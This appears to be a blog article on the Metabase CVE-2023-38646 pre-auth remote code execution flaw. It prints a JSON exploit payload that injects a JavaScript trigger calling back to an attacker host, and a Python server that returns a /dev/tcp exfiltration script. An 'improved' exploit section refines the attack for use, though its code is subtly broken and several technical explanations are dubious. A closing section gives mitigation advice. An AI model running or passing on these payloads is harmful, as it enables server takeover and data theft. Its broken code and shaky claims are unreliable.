Metabase 0.46.6 - Pre-Auth Remote Code Execution

Metabase 0.46.6 – Pre-Auth Remote Code Execution Vulnerability (CVE-2023-38646)

Metabase, a popular open-source business intelligence platform, has recently been exposed to a critical vulnerability in version 0.46.6. This flaw, identified as CVE-2023-38646, enables attackers to execute arbitrary code on the target system without authentication — a dangerous scenario known as pre-auth remote code execution. This article explores the technical details, exploitation mechanics, real-world implications, and mitigation strategies.

Overview of the Vulnerability

The vulnerability arises from improper handling of database connection strings in Metabase’s api/setup/validate endpoint. When a user attempts to configure a database connection during setup, Metabase allows injection of custom SQL or JavaScript code via the db parameter. In version 0.46.6, this feature was not adequately sanitized, allowing malicious payloads to bypass security checks and trigger execution of arbitrary code.

Specifically, the exploit leverages the zip:/app/metabase.jar!/sample-database.db path, which points to a bundled H2 database file. By appending a malicious CREATE TRIGGER statement with embedded JavaScript, an attacker can trigger execution of code through the database engine’s scripting capabilities — even without authentication.

Exploitation Mechanism

The exploit is crafted using a combination of HTTP-based payload injection and a reverse shell delivery mechanism. Below is a simplified breakdown of the attack flow:

{
  "token": "setup-token",
  "details": {
    "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://lhost:lport/exploitable').openConnection().getContentLength()\n$$--=x\\;",
    "engine": "h2"
  }
}

Explanation:

• The db parameter is a crafted JDBC URL that includes a TRACE_LEVEL_SYSTEM_OUT=1 flag, which enables logging of Java code execution.
• The CREATE TRIGGER statement is injected using the $$//javascript syntax, which triggers the H2 database engine’s JavaScript interpreter.
• Inside the JavaScript block, new java.net.URL(...).openConnection() attempts to connect to a remote HTTP server, effectively triggering a reverse connection.
• The getContentLength() method is used to force the connection, which acts as a beacon to confirm the exploit is active.
• The exploit relies on a listener server that responds with a payload encoded in base64, which can be used to establish a reverse shell.

Real-World Implications

Due to Metabase’s widespread adoption in enterprise environments — often deployed with exposed web interfaces — this vulnerability presents a severe risk. Attackers can:

• Gain full control of the server without needing credentials.
• Access sensitive data, including database credentials, configuration files, and user information.
• Deploy backdoors, pivot to internal networks, or exfiltrate data.
• Use the platform as a foothold for lateral movement in compromised systems.

For example, a company using Metabase to visualize sales data could unknowingly expose its entire database infrastructure to remote attackers if the service is accessible from the internet.

Exploit Code Analysis

The provided Python exploit script demonstrates a practical implementation of the vulnerability. Let’s break down key components:

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/exploitable":
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
            success = True

Explanation:

• This handler listens for requests to /exploitable and responds with a bash script.
• The script uses /dev/tcp to send output to a specified IP and port, enabling a reverse shell.
• The $@ is a placeholder for the command to be executed (e.g., whoami).
• base64 -w 0 encodes the output in base64 without line breaks, suitable for transmission over TCP.

However, the original code has a flaw: success = True is not properly scoped. It should be declared as a global variable in the outer scope to ensure visibility across threads. Additionally, the thread.start() call lacks a daemon=True flag for proper cleanup.

Improved Exploit Code

Here is a corrected version with better error handling and structure:

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global success
        if self.path == "/exploitable":
            self.send_response(200)
            self.end_headers()
            payload = "#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{lhost}/{lport}\n"
            self.wfile.write(payload.encode())
            success = True
        else:
            print(f"Request received: {self.path}")

class Server(HTTPServer):
    def __init__(self, server_address, handler_class):
        super().__init__(server_address, handler_class)
        self.timeout = 30  # prevent hanging

def run():
    global httpserver, success
    success = False
    httpserver = Server(("0.0.0.0", argument.sport), Handler)
    thread = threading.Thread(target=httpserver.serve_forever, daemon=True)
    thread.start()

Improvements:

• Added daemon=True to prevent thread blocking.
• Declared success as a global variable in the outer scope.
• Improved error logging and request handling.
• Added server timeout to prevent indefinite hanging.

MITIGATION and Recommendations

To protect against this vulnerability, organizations must:

• Upgrade immediately to Metabase version 0.47.0 or later, where the flaw has been patched.
• Restrict access to the Metabase web interface using firewalls or reverse proxies.
• Monitor for suspicious activity such as outbound connections to unknown IPs.
• Disable external database connections unless absolutely necessary.
• Implement logging and alerting for any use of CREATE TRIGGER or JavaScript injection in database configurations.

Conclusion

CVE-2023-38646 highlights the dangers of trusting unvalidated input in database configuration systems. Even in open-source platforms designed for transparency, improper sanitization can lead to catastrophic outcomes. This vulnerability serves as a reminder: security is not just about code, but about how data flows through systems. Organizations must adopt a proactive stance — patching promptly, monitoring behavior, and hardening configurations — to prevent such exploits from being weaponized in real attacks.